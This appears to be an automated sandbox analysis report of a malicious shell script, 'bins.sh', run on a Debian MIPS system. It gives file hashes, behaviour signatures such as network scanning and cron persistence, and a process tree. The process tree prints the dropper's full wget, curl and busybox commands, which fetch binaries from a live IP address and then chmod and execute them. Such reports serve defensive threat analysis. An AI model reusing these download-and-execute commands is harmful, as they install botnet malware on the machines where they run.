Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    24-11-2024 06:16

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    b643808c01faa0f92bf870288eb8dd16

  • SHA1

    494306996b3ee0573b6da340ee334523cd39f9eb

  • SHA256

    b594f506a2b2e54b98f320880c32150a5c66038299c0f69d9f7105521f0b89ad

  • SHA512

    f8e2bed091a7cf127f3feadc979a7ee81e9835a68b98f78afc737f354cdf3348e42f4551cc47d805e0734fd77e02963e665aad84c33c02e18395f86754ae24cb

  • SSDEEP

    96:+Hb3G9hf3INVTX1G+Emzer6e0D7tAokHbrf3+PTX1G+1emzer6wN6W:+Hb3VvTX1G+EmzereTX1G+Mmzerx

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1839) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:700
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:703
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • Writes file to tmp directory
          PID:708
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • Writes file to tmp directory
          PID:728
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • Writes file to tmp directory
          PID:730
        • /bin/chmod
          chmod 777 Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • File and Directory Permissions Modification
          PID:731
        • /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          ./Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • Executes dropped EXE
          PID:732
        • /bin/rm
          rm Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
            PID:734
          • /usr/bin/wget
            wget http://216.126.231.240/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • Writes file to tmp directory
            PID:735
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • Writes file to tmp directory
            PID:736
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • Writes file to tmp directory
            PID:761
          • /bin/chmod
            chmod 777 RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • File and Directory Permissions Modification
            PID:769
          • /tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            ./RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • Executes dropped EXE
            PID:771
          • /bin/rm
            rm RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
              PID:773
            • /usr/bin/wget
              wget http://216.126.231.240/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • Writes file to tmp directory
              PID:775
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • Writes file to tmp directory
              PID:787
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • Writes file to tmp directory
              PID:789
            • /bin/chmod
              chmod 777 CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • File and Directory Permissions Modification
              PID:790
            • /tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              ./CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • Executes dropped EXE
              PID:791
            • /bin/rm
              rm CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
                PID:793
              • /usr/bin/wget
                wget http://216.126.231.240/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • Writes file to tmp directory
                PID:794
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • Writes file to tmp directory
                PID:795
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • Writes file to tmp directory
                PID:806
              • /bin/chmod
                chmod 777 QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • File and Directory Permissions Modification
                PID:812
              • /tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                ./QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:813
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:815
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:817
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:819
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:820
                    • /bin/rm
                      rm QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                      2⤵
                        PID:830
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
                        2⤵
                          PID:834
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
                          2⤵
                            PID:916
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
                            2⤵
                            • Writes file to tmp directory
                            PID:918
                          • /bin/chmod
                            chmod 777 z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:932
                          • /tmp/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
                            ./z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
                            2⤵
                            • Executes dropped EXE
                            PID:933
                          • /bin/rm
                            rm z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
                            2⤵
                              PID:935
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
                              2⤵
                                PID:936
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
                                2⤵
                                • Reads runtime system information
                                PID:937
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
                                2⤵
                                • Writes file to tmp directory
                                PID:938
                              • /bin/chmod
                                chmod 777 8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
                                2⤵
                                • File and Directory Permissions Modification
                                PID:940
                              • /tmp/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
                                ./8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
                                2⤵
                                • Executes dropped EXE
                                PID:941
                              • /bin/rm
                                rm 8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
                                2⤵
                                  PID:943
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
                                  2⤵
                                    PID:944
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
                                    2⤵
                                    • Reads runtime system information
                                    PID:945
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:946
                                  • /bin/chmod
                                    chmod 777 nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:950
                                  • /tmp/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
                                    ./nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
                                    2⤵
                                    • Executes dropped EXE
                                    PID:951
                                  • /bin/rm
                                    rm nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
                                    2⤵
                                      PID:953
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
                                      2⤵
                                        PID:954
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
                                        2⤵
                                          PID:955
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:956
                                        • /bin/chmod
                                          chmod 777 roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:957
                                        • /tmp/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
                                          ./roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
                                          2⤵
                                          • Executes dropped EXE
                                          PID:958
                                        • /bin/rm
                                          rm roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
                                          2⤵
                                            PID:960
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/i8yS9VWG2bqxoPT4aalSyYZMFOh0IFWOGL
                                            2⤵
                                              PID:961

                                          Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • /tmp/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB

                                            Filesize

                                            117KB

                                            MD5

                                            849fa04ef88a8e8de32cb2e8538de5fe

                                            SHA1

                                            c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                            SHA256

                                            8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                            SHA512

                                            2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                          • /tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs

                                            Filesize

                                            141KB

                                            MD5

                                            3ca8decdb1e52c423c521bfff02ac200

                                            SHA1

                                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                                            SHA256

                                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                            SHA512

                                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                          • /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59

                                            Filesize

                                            107KB

                                            MD5

                                            eb9c3a0de91fcf16ba17cb24608df68c

                                            SHA1

                                            09d95a7d70d5e115d103be51edff7c498d272fac

                                            SHA256

                                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                            SHA512

                                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                          • /tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q

                                            Filesize

                                            151KB

                                            MD5

                                            6c583043d91c55aa470c08c87058e917

                                            SHA1

                                            abf65a5b9bba69980278ad09356e53de8bb89439

                                            SHA256

                                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                            SHA512

                                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                          • /tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7

                                            Filesize

                                            177KB

                                            MD5

                                            786d75a158fe731feca3880f436082c0

                                            SHA1

                                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                            SHA256

                                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                            SHA512

                                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                          • /tmp/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av

                                            Filesize

                                            112KB

                                            MD5

                                            05d7857dcead18bbd86d2935f591873c

                                            SHA1

                                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                                            SHA256

                                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                            SHA512

                                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                          • /tmp/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC

                                            Filesize

                                            99KB

                                            MD5

                                            9438d9bc392bcf300a5583b6df5bc8f6

                                            SHA1

                                            375a6ae34b516f6f3eeea8030c4084f585017efa

                                            SHA256

                                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                            SHA512

                                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                          • /tmp/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF

                                            Filesize

                                            111KB

                                            MD5

                                            ca897a38f23ec23521ce0b1b83f8422d

                                            SHA1

                                            b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                            SHA256

                                            043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                            SHA512

                                            10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                          • /var/spool/cron/crontabs/tmp.odFyU0

                                            Filesize

                                            210B

                                            MD5

                                            02eaf83a65409297adf008a7a3253884

                                            SHA1

                                            1d20cc7655e8c1dbac9e7d980aca03561707cc4b

                                            SHA256

                                            582d6f3ed51ac57a312b1141d60e9db3c3e1deb120391fba47aa5cf8f3f5566e

                                            SHA512

                                            1636a3a7393538167e0211a1ce7b37314bb18ed6ff49daa95c8b3282f85973a163f9ae7d739c51ce68fb350b1f033d62217ee3effdc440526c3ac6be887c9ec1